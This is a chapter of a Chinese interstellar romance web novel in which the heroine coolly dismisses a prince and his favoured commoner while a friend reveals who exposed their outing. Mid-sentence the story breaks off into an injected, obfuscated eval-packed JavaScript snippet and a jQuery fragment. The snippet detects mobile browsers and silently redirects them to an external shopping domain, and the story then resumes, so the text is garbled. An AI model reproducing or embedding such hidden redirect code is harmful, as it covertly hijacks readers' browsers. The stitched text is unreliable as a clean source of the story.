“怕你们听不懂,我再重复一遍吧,虽然我已经重复了很多很多遍了,但我觉得你们的听力或许不太行。”

    “我没有生气,也没有看不起你是平民,这不是解释,我也没那么多时间去自证,仅仅只是陈述而已。”

    “所以,你的眼泪可以收起来了。”林亦可的声音十分平淡,仿佛这并不是什么值得她投入精力的、很小很小的一件事罢了。

    陈茵茵的眼泪停了下来,因为被林亦可这样一说,她不知道该怎么流了。

    因为伊森在看她。不,他没有看她。

    他只是站在那里,但陈茵茵感觉他在看。

    她觉得自己被看见了,被看穿了,被看到她正在装可怜。

    她的眼泪卡在眼眶里,掉不出来,也收不回去。

    她的手指在裙角上攥得更紧了,指节泛白,指甲嵌进布料里。她的嘴唇在抖,跟委屈没什么关系,完全是被气到发抖。

    庄宴的脸色更难看了。他站在林亦可面前,像一堵墙,又高又厚,但她的话却轻飘飘地从他身上穿过去了。

    他接不住。

    他以为林亦可会辩解,会否认,会哭,会闹,会像以前一样委屈地看着他,想说又不敢说。

    但她没有。

    她坐在那里,手里拿着牛奶杯,姿态放松得像是在家里,这本来就是她家。

    她的语气平静得像在说今天天气不错。

    “林亦可,你这是什么态度?”

    “茵茵在跟你说话,你就这个态度?”

    “对啊,我就是这个态度,有什么问题吗?”林亦可算是发现了,当块滚刀肉就行了。

    毕竟自己什么事都没做,庄宴强行扣帽子,她不承认,他也拿她没办法。

    “我在跟她说话。”林亦可说,“我回她了。我说我没有生气,更没有看不起她,也没有让父亲去告状。你们要听的不就是这些吗?”

    “我说的都是事实。”

    “有必要的话,我可以现在联系我父亲,问问他,他究竟是怎么知道你和陈茵茵小姐一起出游的事情的。”

    “但我还是要多澄清一句,放了月假我第一时间就回了林克斯星,我并不知道你们在贝塔星做了什么,所以我要怎么去‘造谣’呢?”

    庄宴的嘴唇动了一下,没说出话来。

    “可是……”

    “放月假那天,你明明看到我们了啊!”

    “我当时想跟你打招呼的,可你看都不看我们,直接就走了。”

    “那时候我就在想……我是不是哪里得罪了林小姐,你看上去很生气……”

    虽然陈茵茵话只说了一半,但什么都说了。

    你明明看到我们,却不打招呼,你肯定怀恨在心,你找人跟踪我们,或者买通了殿下身边的人泄露了消息吧!

    “哦,我是不想理你们,那怎么办呢?你报警抓我吧!”林亦可翻了个白眼。

    你又不是星币,我为什么非要理你呢?

    “对了,我赶着出门,麻烦你们快点行吗?我的队友还在等我呢!”林亦可是真的很烦这对癫公癫婆,耽误她时间!

    “你……”陈茵茵一副被林亦可伤到了的样子,她拉了拉庄宴的袖子,声音很小:“庄殿下,我们走吧……林小姐不想看到我……”

    “不走。”庄宴说,“今天话不说清楚,谁都不走。”

    他深吸一口气,像是在把什么东西压下去。

    “玛丽皇后很生气。”

    “她让我来道歉。”

    庄宴的声音低下来,他生来高贵,他不仅是贝塔星系的王室继承人,他还是个A级天才异能者,让他对着一个D级木系异能者道歉,确实憋屈。

    林亦可的手指在牛奶杯上停了一下。

    “道歉?道什么歉?”

    “‘替我向林至恩议员道歉。’”庄宴的声音像是在背稿子,没有感情,没有温度,每一个字都是被逼着说出来的,

    “我不应该在月假期间带陈茵茵同学逛贝塔主星,造成了不好的影响,这是我的错。”

    背完了。

    庄宴站在那里,脸涨得更红了。

    不是气的,是羞耻,被母亲逼着来道歉的羞耻。

    觉得自己没错还要低头的羞耻。

    林亦可看着他,看了好几秒。然后她笑了,这个笑容带着“你在说什么鬼话”的意味。

    “庄殿下,你说完了?”她问。

    庄宴的嘴角抽了一下。

    “说完你可以走了。”

    庄宴愣住了。

    “你——”

    “你的道歉,我不接受。”林亦可说,“不是因为我不原谅你,是因为你没有错。”

    “你带朋友逛贝塔主星,有什么错?退一万步讲,就算你真的有错,你也不应该来向我道歉。”

    “你应该向玛丽皇后道歉,让你母亲为你的感情生活操心,是你的不对。”

    “你应该向你自己道歉,被人牵着鼻子走了这么久,还不知道是怎么一回事。”

    庄宴的脸色变了。

    “你什么意思?”他的声音在发紧。

    林亦可看着他。

    她想起游戏里那些BE结局。不是她打出来的那些,是原主林亦可在原著剧情里的结局——被庄宴惩罚,异能降级,被赶出学院,被家族放弃,惨死。

    庄宴不是坏人,他只是被蒙蔽了。

    被陈茵茵的眼泪蒙蔽,被自己的优越感蒙蔽,被“我是王子我不会错”的自负蒙蔽。

    虽然他不是坏人,但蠢人比坏人还要让人讨厌!!!

    “庄殿下。”林亦可说,

    “你有没有想过,玛丽皇后是怎么知道你和陈茵茵同学逛贝塔主星的?”

    “你们去的可是贝塔星的王都啊!你又是王子……你刚刚也说了,你们去的地方是公共场合,那么多人,谁都有可能关注你们,也谁都有可能告诉玛丽皇后。”

    “你不去调查是谁说的,只因为我父亲提出了解除婚约,就认定是我在从中作梗?”

    “为什么我的父亲就不能是因为听说了你们两人单独出游,而感到愤怒继而提出解除婚约呢?”

    “为什么你不去问玛丽皇后她是怎么知道的,就认定是我让我父亲去告状的呢?”

    “你带着陈茵茵同学来我家,当着我的面让她哭,让我难堪。你觉得,这样对吗?”

    庄宴的脸黑如锅底,不全是因为生气,也因为他发现自己可能错了。

    但他身为王子,怎么可能跟自己的未婚妻承认自己错了?

    林亦可一顿输出后,她的目光落在庄宴身后的陈茵茵身上。

    陈茵茵的眼泪已经停了。

    林亦可收回目光。

    “请回吧。”

    无论如何,婚姻还没解除,她还不能跟庄宴撕破脸,但她需要他清醒。

    虽然林亦可已经下了逐客令,但庄宴却并不想走。

    他低头看着林亦可,他想从她的脸上看出一丝嫉妒、伤心,哪怕是恨意也行……

    但她太淡定了。

    每次他就算想好好沟通……也会被她这种无所谓的态度给激怒。

    “庄殿下。”一道清澈的声音从客厅的那一侧传过来。不高,不低,刚好够所有人都听到。

    所有人的目光都转向伊森。

    伊森站在那里,手里还拿着那本书。

    他的目光落在庄宴身上,黑色的眼睛里没有情绪,甚至连冷淡都算不上。

    他只是看着庄宴,像是看一个在课

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626405|205911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    堂上总是不合时宜闹别扭的小孩。

    “茵茵同学在看你。”伊森说。

    庄宴愣住了。“什么?”

    伊森偏了偏头,示意他看身后。庄宴转头,看到陈茵茵正看着他,她没有哭出来,但她的表情在说,“我在等你帮我。”

    庄宴的眉头皱了一下。

    他转回头,继续看着伊森,“你想说什么?”

    伊森没有回答他的问题。他说了另一句话,一句让庄宴的脸瞬间变白的话。

    “玛丽皇后昨天就知道了。不是林伯父告诉她的,是阿尔法星系的人告诉她的。”

    庄宴的瞳孔缩了一下。“你说什么?”

    “那我就再说清楚一些吧!”

    “你带陈茵茵同学出游的那天,有人看到了。不是林至恩伯父,是阿尔法星系派来贝塔星考察的官员。”

    “他们拍了照片,发给了玛丽皇后。”伊森的语气很平淡,像在陈述一个和他无关的事实,“林至恩伯父是在玛丽皇后知道了之后,才知道这件事的。”

    庄宴的脸从红变白,从白变灰。他张了张嘴,想说什么,但没有声音。

    他发现了一件可怕的事:他错了。不是他以为的那个错法,是更深的错。

    林亦可说的没错,从头到尾,他都被牵着走。被陈茵茵的眼泪牵着走,被自己的优越感牵着走,被“我是王子我不会错”的自负牵着走。

    林亦可和林至恩没有告状。是阿尔法星系的使者看到了,所以玛丽皇后知道了。

    这件事,在贝塔星的政=治圈传开了,林至恩自然也就知道了,他觉得王室不尊重他的女儿,所以提出解除婚约。

    原来……

    他从头到尾都错了,却还带着陈茵茵来兴师问罪,但其实林亦可什么都没做。

    “茵茵……”庄宴转过头,看着陈茵茵,“你知道吗?”

    陈茵茵的眼泪终于掉下来了。不是委屈的眼泪,是慌的眼泪。她的嘴唇抖得厉害,手指在裙角上攥得更紧了,她抓住庄宴的袖子,像是怕他放开她。

    “我不知道……”她的声音很小,小到只有庄宴能听到,“我真的不知道……”

    庄宴看着她的眼泪,看着她抓住他袖子的手指。

    他想起那天在大街上,她笑着说“庄殿下,这里好漂亮,我从来没见过”。他想起她说“我是平民,没见过世面,你不要笑话我”。

    他想起她低头的时候,发丝垂落在脸侧,睫毛在阳光下投下一小片阴影。他想起很多事。

    但此刻,站在林亦可家的客厅里,站在伊森·海斯的对面,他忽然发现,他想起的每一件事,都是陈茵茵让他想起的。

    “庄殿下。”林亦可的声音从餐桌那边传过来,很轻,但很稳,“你该回去了。”

    庄宴转过头,看着她。林亦可坐在餐桌前,手里端着牛奶杯,姿态很放松,像是在自己家里。哦,这本来就是她家。

    她看着他的眼神很平静,像一面湖,风吹过来,起了一圈圈涟漪,风走了,湖面又恢复了平静。

    “林亦可……”庄宴开口,声音哑了。

    “不用道歉。”林亦可说,“你没有错。”

    她的目光掠过庄宴,落在陈茵茵身上。

    陈茵茵还在哭,但她的哭声在伊森的目光下越来越小,像是有人把音量旋钮一点一点地拧小了。

    她知道自己演不下去了。

    这时,门铃又响了。

    管家从侧门走出来,脸上的表情比刚才更奇怪了。

    他的神情十分紧张。

    管家走到大门前,看了林亦可一眼,然后打开了门。门外站着一个人。深灰色的军装,肩章上绣着阿尔法星系的星徽——一颗银色的六芒星,周围环绕着十二条射线。